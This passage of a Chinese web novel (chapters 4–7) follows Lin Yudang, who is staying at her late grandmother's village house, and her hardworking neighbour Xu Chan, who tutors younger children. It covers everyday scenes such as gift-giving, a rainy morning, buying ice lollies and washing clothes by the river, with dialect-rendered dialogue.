终于回到院门口,烈日高悬当空,万物都被这略带闷意的热气包裹,赶集回来的人们身上,还会多一层均匀的土灰。
“拜拜。”
“嗯,再见。”
坐在一楼的塑料凳上,林语铛发际线上的汗珠浸湿了她蓬松的八字刘海,她找来外婆生前的蒲扇不停歇地摇着,就像多年前,母亲与外婆赶集回来那样……
4. 第四章
夏季的蝉在人们印象中总是喧嚣的,许蝉生于八月,王霞出产房便能听到聒噪蝉鸣,觉得是好兆头,于是用‘蝉’给许蝉命名,望她活泼大方,能说会道,活的热烈张扬肆意。
蝉鸣响起,林语铛也自然联想到许蝉,买的东西该给她们家送去了。
“嗯~→→→~~”
林语铛蹲在一楼角落的水泥地上,翻看昨日赶集买的东西,一箱纯牛奶,一箱果粒多,各种口味的薯片……都是给许蝉买的,林语铛自己很少吃这些高热量零食,容易长痘。
“真是的,这个角都被压凹了,咦——”
纯牛奶纸箱较软,在车上被压坏了一个角,看着很不美观。林语铛对此很是不满嫌弃,她尽可能地按压凹陷处的周边,试图使其恢复原状,但没有丝毫的作用,这箱子没有任何改变。
“算了,就这样先吧,她们应该会理解我的……”
林语铛将零食袋子提手套在右手手腕上,腾出两只手来提牛奶,为了不靠父母,她从小便习惯了独自拎很多东西,力气也比娇生惯养的女孩要大许多。
许蝉家的院门白日都是开着的,林语铛直接就可以走到许蝉家的房门口。
“阿姨?”
林语铛站在门口小心朝里面张望,只远远看到沙发上的许蝉和许哲二人,不见王霞的身影。
“溺(你)号(好)烦啊!嘛(妈)都说了要给汪(王)趁(晨)一起不(补)!”
许哲坐在沙发上,离茶几桌上的作业一米远,恼怒冲着许蝉吼叫。
“窝(我)会随溺(你)的原(愿)?!叫他过赖(来)跟溺(你)一块甩是不?!”
许蝉右手握着中华牌的铅笔,手还停在许哲的数学作业本上,许哲说一句,她便回一句。
“成绩插(差)成嘞(那)个柜(鬼)样!还香(想)着耍!溺(你)能不能忍(认)真点?!”
许哲好动惯了,静不下心,学习从小就一塌糊涂,都六年级了还不会解方程。这村里人大多都贫困,根本没钱给孩子补习,许蝉成绩好,附近只要有点关系的邻居都想让许蝉帮自家孩子补习。
“溺(你)号(好)烦呐(啊)!!窝(我)跟溺(你)诗补量离(势不两立)!!!”
“啊——”
许哲大声发泄自己不满的情绪,天气这么热,他真想去米罗河游水玩,在这学习枯燥乏味的数学对他而言简直是人生一大酷刑。
“窝(我)真是叫(教)不了溺(你)了!!”
许蝉用力将铅笔按在作业本上,恨铁不成钢地瞪着许哲,真觉得他就是一难以驯服的魔兽,这魔兽怎么就是他弟弟呢?
“啊——!窝(我)要把书血(数学)毁灭!!窝(我)要把薛笑(学校)拆掉!!!!”
许哲又开始发疯,许蝉真是懒的搭理她,自己也是准高三生了,还有一堆卷子没做,心累。
(哼~)
林语铛在门口津津有味看着许蝉姐弟二人,真觉得许哲好笑,不去演戏真是可惜了。
“许蝉,许蝉!”
如今可以确定的是,王霞肯定不在屋里,要不许哲也不会如此放肆。林语铛猜想着,在门口改叫许蝉。
“哎?!”
叫了两声,许蝉便转头朝门外看去,许哲也跟着探个脑袋看。
(林语铛!她怎么来了?还提这么多东西!)
许蝉像是看到救命稻草一般,双目瞬间明亮,快速起身走向林语铛,视线尽可能的避开林语铛手上的东西。许哲也在后面跟着,一见到林语铛,他便会收敛许多。
“林语铛?你怎么来了?进来坐坐吗?”
许蝉拿出一套老练的迎客话术,以及那深夜对镜练习多次的笑容,惊喜又带着三分疑惑,这笑容看着很亲切,不像商贩那样刻意。
“嗯,昨天给你们买了点东西,呐。”
林语铛说着就把两箱奶连同右手的大袋零食卸下,放在门槛内侧,许蝉连忙俯身跟着林语铛一同弯腰,仅一秒便瞧见林语铛左手戴的绿檀木手串与右手的红印勒痕,心头一阵触动。
“不用不用,你拿回去吧,你一个人在这儿,买东西也不方便,留着自己吃就好了!”
“应该的,我外婆以前总是跟我们讲,说你们有多照顾她呢!我们不常回来,都没什么机会答谢,这次回来,你又是来接我又是请我吃饭的,这点零食还太少了呢!你不要嫌弃吖!”
林语铛眼睛弯弯的,笑着回道,她知许蝉只是客气一下。
“没事,大家都是邻居了,应该的。”
许蝉笑道,单从她的神情来看,很难看出她内心真实所想,这是林语铛唯一一次如此看不透一人。
“嗯嗯。”
许哲侧着身子,躲在许蝉身后跟着点头,视线一刻也不曾离开林语铛,至少以许哲的阅历和审美来看,村子里还没有人的容貌能与林语铛媲美。
“我先走了!你们忙!”
林语铛转身之际,许蝉的笑肌瞬间松垮下来,双唇自然闭上,垂眸中透出明显的憔悴。
“嗯?”
这转变速度是余光都可以清晰见得的,林语铛疑惑转身,再次瞅了一眼许蝉,许蝉抬眼瞧见了又才挤出一丝微笑。
(还真是……)
林语铛当即道出一声“再见”,转身离去。
“嗯,拜拜。”
林语铛前脚刚走出院子,许哲便立刻蹲下翻看这一大袋零食。
“输(薯)片!介(姐)!”
许哲虽学习不好,又喜调皮捣蛋,但遇到什么好吃好玩的,却从不会吝啬于同许蝉分享。
许蝉冲许哲微微一笑,
“溺(你)子计(自己)吃吧!扭(牛)奶溺(你)和嘛(妈)喝,窝(我)商(上)去了!”
交代完这些,许蝉头也不回地上二楼,回自己房间里坐着,白天不开空调,省电。二楼又比较闷热,开不开窗都如此,许蝉早已习惯了,跟着这站式风扇学习十多年的了。
风扇久经多年,风力也大不如从前了
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,微弱的温风一下一下地吹起许蝉额前的薄刘海,脖颈的发梢,将浸出肌肤的汗珠推散开来。不知疲倦地写着一张又一张的卷子,批改,计分,看解析,再刷下一张……
「你高中的书呀,卷子的,已经帮你卖掉了,90块,转给你了。」
「好。」
「你在那边尽量自己煮饭吃哈,别总是吃泡面!还有,别跟周边人扯上什么关系听见没有?你外婆都走了,我们以后也不会回去了,知道吗?」
「好。」
林语铛左手摇着蒲扇,右手在屏幕上快速点击,嘴角勾起一抹不屑的笑容。
“好好好!都听你的!”
林语铛起身走上二楼,将昨天用过的老电磁炉搬下来,白天的二楼实在太闷热了,若是还在上面做饭,那跟把自己放蒸笼里毫无两样了。
锅里的水烧着,林语铛再次想起许蝉那副憔悴愁容的模样,看着真令人诧异。
“她不是挺正常一人吗?我在车上总是撞她,她也不生气,宽容嗯,大度嗯,还有那个土豆,仗义嗯嗯……挺好的。”
“那副神情……到底那一面才是真实的她啊?”
林语铛蹲在地上,盯着锅里的白水发愣。
(她在愁些什么呢?愁自己的弟弟?母亲?还是成绩?……嗯不对,李姨说她成绩挺好的,还让她辅导自家孩子呢……还蛮优秀的嘛……)
水开了,热气直冒,林语铛瞬间回神,赶忙起身将圆桌上的挂面抽出一小撮放进去,再拿筷子搅一搅。因为圆桌旁边没有插座,林语铛只好将电磁炉放在地上,煮好了再拿到桌上来吃。
“算了算了,她怎么样跟我有什么关系?反正我以后也不会回来了,她这个朋友我是交不上了!”
“有句话怎么说来着?尊重个人命运,不要牵扯他人因果。”
林语铛将筷子头撑在自己嘴边,蹲在锅旁边发神。
锅中热气飘着,门外的风也算不得清凉,转悠着吹过许蝉窗前的薄窗帘。
王霞回来了,看到许哲又躺在沙发上看手机,脸一下就阴下来,快步走到沙发边,翻两下许哲的作业。
“溺(你)的书血(数学)桌嘢(作业)怎么还眉(没)协(写)完呐!”
许哲吓的弹起,把手机丢在一边,站在沙发前面,面色紧张,手垂在大腿边上揉捏裤子布料,飞速思考接下来要如何糊弄王霞,王霞也不懂许哲的作业,只是看见这么多空白就窝火。
“卜(不)是!窝(我)歇(写)了欲稳(语文)!书血(数学)太难了!介(姐)都叫(教)不会!”
说着,许哲拿起茶几上的语文练习册递给王霞。王霞皱着眉接过,半信半疑。
“嗯……缺(确)实歇(写)了不少……”
这语文练习册写满了字迹工整的黑笔字,王霞看着顿感一阵欣慰,眉头明显舒缓许多,一页一页翻着,虽看不懂许哲写的什么,但还是仔细瞧着。
“卜搓(不错)!遮(哲)儿歇(写)的卜搓(不错)!”
5. 第五章
古有听雨煮茶的闲情雅致,今有听雨入眠的困意,昨个白日还好好的,夜里却阴了,连着下到早上还不见停。整个青谷村都充斥着阴湿的潮气,乌云将灿日遮挡,衬的一片昏暗。
林语铛侧身躺在竹床上,睡意朦胧,梦浅了,才恍惚听见外头的雨声,哒哒,哒哒哒,哒哒哒哒……
“嗯……”
林语铛抱着被子,渐渐从梦中脱离,想起晾在外头的裙子,猛的惊醒,忙坐起身来,瞬间清醒。
“我的裙子!”
薄嫩的双脚快速带起床下拖鞋,走至门口,将门一把拉开,顷刻,凉意贪婪地袭击林语铛未被粉色睡裙遮掩的小腿与脚踝。
“啧——”
林语铛眼睁睁地望着搭在院中的衣裙,毫无例外的,件件都被雨水泡的深色失重。
“我真服了,昨天不是好好的,说下就下?”
既然都被淋湿了,林语铛也懒得冒雨去将它们收回,她踩着在钱夕夕上买的绿色软拖鞋上楼,快步走到二楼左手边的窗户口张望,看见许蝉家院子和楼顶都是干干净净,什么也没有。
“她们怎么不晾衣服?还是昨个晚上就收回去了?这么勤快?”
林语铛又走至右边的窗户旁,透过推式玻璃窗可以远远瞧见别家人的房顶与院子也是空空荡荡的,心瞬间凉了大半,真觉得倒霉。
“还真就我没收衣服!”
“真是奇了怪了,怎么都收回去了?夜里起来收的?睡眠这么浅?”
林语铛思索着,踩着拖鞋哒哒哒下楼,如今手机闹钟都还没响,定是还没到七点。
这天色也不亮,估摸着应是六点左右,林语铛拿起床边的手机,屏幕亮起,明晃晃地显示着「6:30」
林语铛被这亮光闪的下意识后移脖颈,微微皱眉,转手将亮度调低。
“怎么这么亮?六点半,还早。”
“再睡会儿吧。”
想着,林语铛走至大门口,正要关门,又瞧了眼混在雨中的衣裳,心情烦闷。
“烦死了!又得重洗!昨晚洗了才给你们挂出去晾上,今天还要再洗一遍!”
“若是一件还好,这下好了!四件一起洗吧!”
来时的白色连衣裙加赶集穿的牛仔裙,和昨天穿的淡粉色连衣裙都挂在院子里,外婆家没有洗衣机,村里人洗衣服都是拿去河里洗,林语铛嫌麻烦就在厕所洗,好巧不巧厕所又在二楼,林语铛洗个衣服便要拿上拿下,累一个半小时便罢了,如今雨一淋,一切白干!
气得林语铛完全没了睡意,直接烧水准备冲麦片喝,这麦片是林语铛前日赶集买的,味道还行,就是不顶饱。
水开了,滚烫的开水倒在陶瓷碗中,与牛奶粉麦片碎交融,林语铛用筷子细细搅着,生怕开水溅出来,看着这清水渐渐变为奶白色,林语铛才注意到自己的胳膊非常酸疼,估计是昨天洗衣服洗的。
“服了!这还怎么洗啊!!胳膊酸死了!”
搅和好,林语铛无力地坐在圆桌旁的红色胶凳上,看着碗中还在呈漩涡状慢慢游转的麦片,长叹一声,双手轮换着捏打另一只胳膊,等待这碗麦片慢慢变凉。
过了一会儿,林语铛将手慢慢靠近瓷碗试探温度,还未碰到都觉得发烫,罢了罢了,这肯定是喝不了的,林语铛又起身在门口走走,张开手臂拉伸,在酸爽与疼痛中来回切换。
“村里人不都起挺早的吗?她们在干什么?”
正想着,阵阵呼唤声便从门外传来,听声音,像是李姨的。
“汪介(王姐)!汪介(王姐)!”
闻声,林语铛忙出去,站在屋檐下看,就是李姨,她撑着把灰色大伞朝前朝许蝉家走去,伞下还遮着一小男孩,隔着雨,林语铛看不太清这男孩模样,但可以知道他跟许哲年龄相仿。
外婆家的房子像是一个“凹”字形,屋檐是中间的横杠,这李姨一旦完全站到许蝉家门口,林语铛便看不到她人了。
(这么早,李姨找王阿姨做什么?)
为了弄清楚,林语铛揣着好奇心快速跑上二楼左手边窗户,这才可以看到李姨。
“汪介(王姐)!窝(我)把汪(王)趁(晨)带来咯!”
李姨一手搂抱着王晨,一手撑着大伞,这伞看着不轻,李姨撑得倒是轻松。
很快,王霞便撑着伞出来,也是把大伞,蓝紫色的格子布,看着有些老旧,她双手撑着这伞出来,哈笑着来开门。
“哎!汪(王)趁(晨)来咯(了)噻!吃枣(早)反(饭)了没?”
“吃锅(过)咯!”
王霞一开门,李姨就移动着伞帽将这小男孩送至王霞的伞下,满脸笑意道。
“汪(王)趁(晨)这笑(小)子就掰(拜)托溺(你)们家嘘(许)打(大)血巴(学霸)咯!歇歇(谢谢)哈!”
“汪(王)姨号(好)。”
王晨有力的一声问好被李姨响亮的声响盖过,李姨这道谢感激的口吻听着像是第一次将儿子送来许蝉家。
林语铛在二楼窗边仔细瞧着。眼中满是诧异惊讶,思绪飞转回前些日刚来广青和许蝉坐的那辆车上……
[“如果你有空余时间,能麻烦你辅导一下我娃儿不?”
“行嘛!”]
本以为是句客套话,是句玩笑话,没想到竟是真的!林语铛震惊地瞪大双眼,想要寻找许蝉的身影。
雨落下如同一朦胧的水帘,非常妨碍眺望视线,林语铛集中精力,啊!看到了,一楼大门处有一女子靠在门框边,看身形就是许蝉了!
或许是下雨的缘故,许蝉没有出来,单是站在门槛内侧,平静的等待着什么。隔着雨,林语铛看不清许蝉的表情。
“她九月份不是升高三了吗?这阶段不是很紧张吗?家里有了个调皮鬼弟弟,还要辅导别人家的孩子?不累吗?”
林语铛小声嘟囔着,心中疑惑又震撼。
“她成绩真就这么厉害?顾得自己的同时还能帮这么多小孩复习?”
林语铛对许蝉暗暗有些佩服之意。
“号号(好好)跟着仁(人)家嘘颤(许蝉)血(学)喔!”
李姨摆摆手,叮嘱完就要离开。王霞也将领着这与自己儿子同级的王晨回屋,林语铛再次看向门口,已不见许蝉踪影了。
“她什么时候进去了?”
林语铛有些失落,像是一侦查者未能窥得完整情报一般的。
“他们果然起的早!七点左右就将孩子送过来,还吃了早餐,那不得六点左右就起了?可能还要更早!”
“我天!这许蝉真是厉害啊!起这么早帮别人补课……”
想着,林语铛忽觉得可怜,有些同情许蝉的遭遇。饿感上袭,林语铛突然想起自己晾在一楼的麦片,赶紧跑下楼去……
“呼——还好,还是热的。”
林语铛慢慢喝着这碗中麦片,心头莫名有些
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苦楚,说不上来的苦楚……
遥想自己当年上高中的时候,李颖不是给自己炖鸡汤让自己多学会儿,就是限制自己的出行,一直学,跟学习无关的都不准做。
这许蝉怎的不一样呢?
林语铛好似,在许蝉身上看到了自己的影子,又好像没有,二人很明显是不一样的。
(王霞……许蝉……许哲……这一家人真是一个比一个怪……)
林语铛端着瓷碗,暗暗想。
“哎——”
林语铛轻叹一口气,连同着邻家正换衣服的许蝉也跟着垂眸长舒心气。
“汪(王)趁(晨)!溺(你)桌(坐)这儿!”
许哲坐在沙发上顺势往里边挪挪屁股,拍拍让出的位置冲王晨笑笑。
王晨故作矜持地瞅了一眼许哲点点头道“嗯”,看得许哲忍不住嗤笑。
“噗——溺(你)快来嘛!”
李姨站在外房檐下用力甩着大伞上的雨水,时不时回头看一眼里面的三个孩子,见王晨傻站在原地便开口道。
“嗯,汪(王)趁(晨),溺(你)锅(过)去桌(坐)嘛!”
“唉!”
闻声,王晨下意识回头瞧了眼王霞,略显尴尬地坐到许哲给他自己预留的位置上,不安地张望着。
“溺介介(你姐姐)呢?”
王晨小声在许哲旁边低语。
“她伤(上)曲(去)了,一会儿瞎(下)来!”
许哲大大咧咧地回道,顺便把茶几上的番茄味薯片撕开,一阵番茄味立刻散开整个一楼,强烈冲击着雨水清腥的气味。
“溺(你)吃嘛?”
许哲伸手进去包装袋捏一薯片出来,很是好客地询问王晨。
“歇,歇歇(谢,谢谢)。”
王晨礼貌接过,有些局促。
“哈哈,溺(你)在血嚣(学校)不是挺打(大)旦(胆)滴嘛?”
许哲疑惑王晨的表现又觉着十分好笑,他大概可以猜到王晨会有如此表现的原因,大好人似的拍拍王晨的右肩膀道。
“莫得事!房(放)开点!当这儿是滋既(自己)家就好!”
王晨在校确实活泼,但跟许哲又不是同班同学,说是认识都勉勉强强,被许哲拍这一下胳膊,身体下意识地颤了几下,不可置信地瞅了眼许哲,点点头。
许蝉穿着件青色宽松t桖衫加浅灰色阔脚裤,扶着楼梯不锈钢扶手,慢慢下楼,打着哈欠道。
“溺(你)们量(俩)个儿先协(写)桌嘢(作业)嘛,不回(会)滴喊窝嘛!”
“窝就崽(在)耳(二)楼。”
许蝉以前应也见过王晨几面,王晨是李姨和王叔的儿子,王叔是王霞的堂弟,也就是许蝉的堂舅,他在新吴打工,跟许蝉一家联系的也少,也就李姨有时候会跟许蝉家有点来往,至于王晨,他跟许蝉是堂舅表姐弟的关系,不怎么来往,基本都是各自待在家里。
“知导(道)!”
许哲嘴里嚼着番茄味薯片,大声回应着。
长久未见,许蝉站在楼梯上不自觉打量起这所谓成绩差的堂舅表弟,他穿着深蓝短袖加黑色纯棉短裤,衣服瞧着干净,与旁边黄色套装的许哲倒是不同,他往这儿一坐看着还算乖巧。
(皮肤比许哲的白,比许哲要高点点……)
“应该比许哲好教……”
许蝉小声嘀咕着,又转身上楼。
6. 第六章
阴雨下至中午才有晴迹,云开日归,光明无限好,万物复苏暖风起。
逐渐地,许蝉发觉王晨也是难教的很,基础太差了,比许哲的还要差,最难办的是王晨听不懂也不敢正面回复,支支吾吾地应付,到头来还是不会。
“……”
“听懂了吗?嗯?”
许蝉收起在草稿纸上演算的黑笔,坐在沙发边的小板凳上,歪头轻声询问王晨,拨至耳后的发丝连同着动作散在右边脸颊。
“嗯……”
“嗯嗯……”
王晨绷着脸,一双圆圆的大眼睛始终垂着,不敢多看许蝉,大气不敢出,只顾着点头。
“真的吗?”
许蝉才不信,王晨这孩子不懂也说懂,必须得从他的眼神表情中获取答案,现在他面部平淡,毫无豁然开朗之感……
“那你这题应该也会了吧?”
许蝉快速翻到练习册下一页,很快锁定同类题目。
“把它做了吧,反正等会也要写。”
“啊?”
王晨小声“啊”了一声,把练习册移到自己的正前方,偏一点都不行,低头看题,握着笔还是不会,觉着尴尬又微微歪头瞄了眼许哲,许哲正写着自己喜欢的阅读理解,无心关注许蝉王晨二人。
(哼~就知道你不会……)
许蝉暗自盘算要从哪里给他补起……
(解方程?还是百分数……为什么都六年级了,这些还是不懂?……罢了,这孩子现在也太拘谨了,沟通都麻烦………)
“都是亲戚,自在点就好。”
许蝉说着,王晨仍旧是“嗯”了两声,无奈了,许蝉只好再给他讲了一遍,若像他这样与题目干瞪眼,不知要浪费多少时间。
今日有商贩进村来卖东西,蹬着个老式三轮车,扬声器不断吆喝道。
“病滚(冰棍)!——两(凉)粉!——兜扶(豆腐)!——”
“病滚(冰棍)!——两(凉)粉!——兜扶(豆腐)!——”
“…………”
林语铛听着久违怀念,当即放下衣服从屋里跑出来,拖鞋声很急促,被洗衣水打湿的胶鞋很滑,为了这一商贩,她尽可能地以最快速度下楼,气喘吁吁站于院子门口。
这记忆中的身影映入眼眸的一刹那,林语铛的心头恍若慢了一拍,激动的是鼻腔中的空气,她不敢犹豫,大喊道。
“这雪糕怎么卖?”
闻声,许蝉心头莫名一震。
那商贩是个六十多岁的老伯,戴一草帽,穿着蓝色灰迹t桖衫,皮肤黝黑的有些发亮。见林语铛这娃儿的模样一时有些诧异,怎的如此着急?自己蹬个三轮车也不快啊……
老伯迅速打量了林语铛一眼,扯着嗓子,声音沙闷道。
“巫(五)块么!”
无风,云高天阔,碧蓝下是夏的暖意。
林语铛将太阳穴的刘海拨至耳后,大步上前将铁门拉开,
“都有什么?”
“嚣补钉(小布丁),捞蒜奈(老酸奶)。”
老伯转腰,揭开后面的冰柜盖子。
怪状冰块包着几根冰棒,如今青谷村的路修通了,去街上方便,去城里也方便,有车就好,大伙也鲜少会买这些进村人的东西,久了,就剩下老伯一人。
林语铛瞧着这箱子里的冰棍,回忆感如厚重尘埃飘荡在心中,好不真实。
“拿一个……老酸奶……”
“好嘛!”
老伯很快离开,蹬车时悄然回头瞧了林语铛一眼,满意离开。
(这村子里也是出了好几个年轻漂亮滴小娃娃咯——)
……
许蝉不是正规老师,却时常要给比自己小很多的弟弟补课,刚跟王晨又讲了一遍百分数,实在是心累,让王晨自己练题,许蝉便趁机出院放松一下,晒晒太阳。
没有乌云的天空真就跟新的一样,日雨一新,晴不变。
许蝉舒展拉伸着胳膊,忽然回想起林语铛刚才买冰棍的声势,顾而对着面前的水泥房寻找起她的身影。
“她在哪里啊?”
许蝉小声嘀咕着,视线从下往上扫视这对门的屋子,很快,在三楼楼顶看到了林语铛。
林语铛外婆这房子只修了二楼,三楼像是一个什么都没有的大平台,搭了个铁棚遮雨。林语铛便靠在这围墙边,舒闲吃着雪糕。
“这是小布丁还是老酸奶?”
许蝉微眯着眼睛,仔细打量林语铛吃雪糕的模样,阳光照得她睁不大眼睛。
林语铛撑着围墙眺望远处,耳边发丝被高处的风自然吹起,看着很是赏心悦目。
(林语铛,她当真是漂亮,若在我们学校,应当是校花级别的存在,比赵嘉凝还要好看三分……)
撑得眼皮有些酸累了,许蝉视线正要离开之际,一只白蜻蜓忽然停在林语铛面前,使得林语铛来了些兴趣,定眼瞧着这蜻蜓。
“白蜻蜓?”
许蝉也来了些兴趣,继续盯着。
“她竟然不害怕蜻蜓?”
只见这白蜻蜓停在林语铛面前很是温和,不畏惧林语铛反而有些示好,林语铛也不怕它。
自幼以来,林语铛便朝这些小动物或者小昆虫的喜欢,尤其是蜻蜓。相对于某些蝴蝶,蜻蜓在林语铛那儿的好感度反而会更高些。
林语铛任由咬下的雪糕在嘴中融化,也任由这白蜻蜓肆意打量自己。她露出温柔又带着些许挑逗的神情,好奇这蜻蜓的来意,丝毫未留意楼下的许蝉。
很快地,当林语铛正要咬下第二口雪糕时,这白蜻蜓也跟着凑近去亲触雪糕,远看,好似林语铛与白蜻蜓的雪糕之吻。
这一画面在许蝉眼中很是唯美,一瞬间,她恍若沉浸于林语铛的魅力之中,又或许,是打破了林语铛先前在自己心中的所有印象,林语铛,原是这样的一个女孩。
冲昏头脑的,在这瞬间的缝隙里,许蝉竟莫名闪出一可怕念头。
(如果那只蜻蜓是我……)
这一刻,许蝉的神魂好似冲破□□,飞至半空,站于蜻蜓的位置亲吻林语铛的那根雪糕。
不过很快,这念头便定格破碎,如被强行打破的镜面那般。
林语铛紧急后倾身体,拉开与这蜻蜓的距离,目光转移间瞟到了楼下的许蝉,与许蝉对视,惊得许蝉立将视线撇向他处。
(我天!我在想什么啊?)
许蝉顿感一阵尴尬,又忍不住地偷瞄一眼林语铛,再次与其对视。
(许蝉?她看我干嘛?什么时候出来的?)
思索间,林语铛朝许蝉露出一礼貌微笑。
许蝉也只好尴尬一笑,匆忙逃离现场。王晨应该也做完题了
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,她正好回去看看。
“嗯?”
罢了,眼见着许蝉回去,林语铛也没多想,那偷雪糕的白蜻蜓在这期间不知飞到哪去了。
看着手中的老酸奶,林语铛心中暗自“咦——”了一声。
“真是的,我真服了,这雪糕怎么处理啊?”
继续吃肯定是不可能的,扔垃圾桶也难打扫,林语铛只好下二楼将它放在厕所边,等它慢慢融化。
“真可惜。”
(就剩两个了!)
林语铛蹲在旁边洗衣服,心中暗自惋惜。一个人拥有三个喜欢的东西是非常愉悦的。吃了一个,若是还剩一个便会由生不舍之情,但若是有三个,吃了一个还剩两个,内心便暗暗会想吃了第二个还是会剩一个,如此一来,在吃第三个时便不会有过多的不舍与愧疚。
但这次第一个雪糕未给林语铛带来完整的满足,于林语铛而言,这与只拥有两个雪糕的残忍感受并无不同。
“哎——”
正要责怪到那白蜻蜓身上时,林语铛忽又想起许蝉看向自己的眼神。
“尴尬?羞涩?”
“第一个还好,第二个像是会出现在她那种人眼中吗?”
林语铛搓着衣服,小声说道。
“我不会是看错了吧?不可能!老娘视力5.0!”
想着,林语铛用力搓着盆中的牛仔裙。
“喔!”
林语铛灵光一闪,停下手中的动作。
“不会是因为那支雪糕吧!”
“上次赶集,那么热的天呢,也不见许蝉给自己买一个雪糕吃!”
说着,林语铛更加确信自己的想法了。
“还真是因为这个啊……”
一阵可怜同情之意上升,林语铛瞬觉心中复杂。
“许蝉好像……真有点可怜……不单要给‘脏脏包’补课,还要给李姨孩子补课,那么早就要起来……”
“李姨跟许蝉是什么关系啊?回广青那天,她不是跟李姨在车上聊的有来有回,怎么赶集的时候就冷淡了这么多?”
林语铛凭借着自己的所见,尝试梳理许蝉的情况。
“感觉她俩也不是非常熟啊?不对,不熟怎么会放心把自己孩子交到许蝉家?还这么大雨,麻烦自己又辛苦许蝉的……”
“……”
“啧!”
林语铛看着盆里的泡着的牛仔裙,又开始搓洗,翻了个面继续洗,牛仔裙较其他裙子打湿后更重也更难洗,先前在家用洗衣机不觉得,回到外婆家才真觉得麻烦。
“洗个衣服还走神?!”
“这牛仔裙在这泡多久了?买雪糕前就泡在这了,现在还没洗好?林语铛,你偷懒呢?”
眼见着桶里还有几条裙子未洗,林语铛就来气了。
“好累啊——”
“明天拿河边洗去!”
把事情美其名曰地交给明天,林语铛顿觉心里轻松许多,麻利把盆里水倒掉,起身接水。
之前高三运动的少,现在一起身就晕晕的,林语铛熟练地闭眼缓解,长舒口气。
“呼——”
“好了!再清一遍就可以休息了!”
水流声哗哗做响,楼顶的洗衣机已坏了三年,尘埃覆盖,年老了就是如此。门前的青陵江倒是流水不绝,年年岁岁,还宽了不少。
7. 第七章
江水不绝,情缠绵。
按照记忆里的,天蒙蒙亮,林语铛便背着竹背篓来江边洗衣服,一路上只觉得空中有数不尽的丝网,不是落在林语铛脖颈上,就是落在脸上。
“咦!”
林语铛极其嫌弃地抓弄自己的脖颈,用力用胳膊抹擦脸庞。
“无语!以前好像也没这么多网啊!”
林语铛蹲下,脱下背篓,将盖在背篓上的铁盆拿出来,意味深长一笑,又将背篓背上。
“可能是以前在太矮了!小矮子!”
林语铛拿着铁盆边,边走边在前方空中挥舞开路,像大祭司或者巫师一般,如此,空中的网便没法碰到林语铛了。
“哼哼~”
但林语铛却要被自己的行为逗笑了,还好现在没什么人出来,不然自己可就尴尬了。
就这样,林语铛一路来至青陵江边,心里莫名地觉得自在。
“林…语铛?”
许蝉正巧在江边洗衣服,见林语铛这怪异模样,忍不住叫一声确认其身份。
闻声,林语铛猛地一颤,快速停下手中动作,与许蝉相视无言。
林语铛扫视一眼许蝉面前的衣服泡沫,眼神飘忽,没话找话道。
“啊……你也来洗衣服?”
“嗯哼~”
许蝉右扯嘴角微微上扬,这不是很明显的吗?许蝉看着林语铛这略显尴尬模样,心中觉得可爱,原来温柔端庄的林语铛也会有这种不为人知的小举动,顿感亲切许多。
“你刚才在干嘛?”
许蝉笑了笑问道。
“我…这空中太多网了,我除一下。”
解释清楚的瞬间,林语铛顿觉得心情平缓了许多。
(要笑便笑吧,只要不乱想乱说就好……嗯,反正我很快也就回江水了,不回来了……嗯。)
“哦~”
许蝉宠溺笑笑,面露友好,相对林语铛而言,她仿佛更像姐姐。
“快来洗吧,等会天大亮了。”
许蝉说道。林语铛这才敢蹲到许蝉旁边来,把她那两套裙子和昨天的衣服拿出来,看着还真不少。
“哎——”
林语铛看着这么多衣服,无力长叹一口气,这得洗到什么时候?
闻声,许蝉也朝林语铛的盆里看了一眼。
(这么多!这是堆了几天的?)
许蝉面露惊讶,加快了手上的动作。
二人各忙各的,林语铛望着这不算清澈也不混浊的江水,心里总觉得哪里怪怪的。她张望四周,一片寂静。
“怎么没人来这洗了?我记得以前挺多人的。”
林语铛问道。
“也有一些,之前这里出过人……”
许蝉说着忽然一顿,
“之前这里出过一些事情,来这洗的便少了,尤其是到中午,根本没人敢来,大家家里基本也都有洗衣机了,没必要。”
“什么事情?”
林语铛侧头看向许蝉,追问道。
“就是……”
许蝉转头的那刹,近距离与林语铛对视,不由得愣了一下。
(这就是桃花眼吗,真漂亮。)
恰到好处的些许刘海搭在林语铛眼眸上,倒是增添了几分清纯之感。许蝉起的早,乌黑短发依旧散在脖颈处,立体的五官与平直的刘海给林语铛强烈的容貌冲击感。
(我们那儿倒是少人留这种发型,都觉得剪了不好看,许蝉这张脸,搭这死亡发型还能这么漂亮,确实是颜值够硬了……真少见。)
林语铛再次觉得,许蝉不属于这儿。广青落后,却生出了许蝉这般美人……
想着,二人都下意识地将眼神避开。
(算了,说了应该也没关系。)
“这里之前出过两条人命,捕鱼的那对夫妻,丈夫不知道怎么就掉到河里了,妻子着急下去救,岸边洗衣服那人见到这情况也吓愣了,眼睁睁看着这夫妻俩溺死了。”
许蝉慢慢说着,林语铛皱眉听着,
“啊?那岸边洗衣服的人也不去找人?就干站着?”
林语铛惊讶问道,
“嗯,她吓呆了。”
许蝉回道。
“这……”
(听着真像被什么控制了,真可怕!)
林语铛后背发凉,怪不得自己一直觉得这里哪儿怪怪的,原来是阴气重啊?
“嗯。”
林语铛不多问了,加快洗衣服的速度,争取跟许蝉一起走,可别落下她一个人在这。
许蝉将最后一件衣服过水,拧水,就开始收拾东西了。
林语铛眼见这情景,着急开口道。
“蝉儿!”
‘蝉儿’?从未有人这般唤过许蝉,听到这别致亲昵的叫法,许蝉先是一愣,看向林语铛。
“哈,哈,,蝉儿,可以等等我吗?”
林语铛有求于人时尽可能地拉近关系,放低姿态。
在林语铛看来,“小”字是位高者对于位卑者的称呼,故而她从不唤谁小什么的,去姓唤名,若名只有一字则加一语气词“儿”。
“我…我害怕……”
林语铛露出楚楚可怜的眼神,当真是有点演绎天赋在身上。
“好。”
许蝉面对这样的林语铛竟觉得有些害羞,一口应下便朝林语铛走来。
“我帮你洗一点吧。”
“啊?不用,太麻烦了。”
林语铛有点受宠若惊,这衣服她自己洗就可以了。
“没事,两个人洗快一点,天很快就大亮了。”
“好。”
林语铛不再推脱,内心感动。
(许蝉真是个大好人,呜呜呜呜。)
许蝉利落将林语铛未洗的衣裙拿过,熟练洗着。
“蝉儿,我可以这样叫你吗?”
林语铛确认一句,
“嗯。”
许蝉埋头洗衣服,单回一个‘嗯’字。
“嘿嘿。”
有许蝉在身边,林语铛也不在怕的了,许蝉身上自有种极其可靠的气质。
“我们可以交个朋友吗?”
林语铛问道,这么大以来,许蝉是唯一一个让林语铛愿意主动抛友情橄榄枝的人。说不上来太多原因,单凭感觉吧。
“!?”
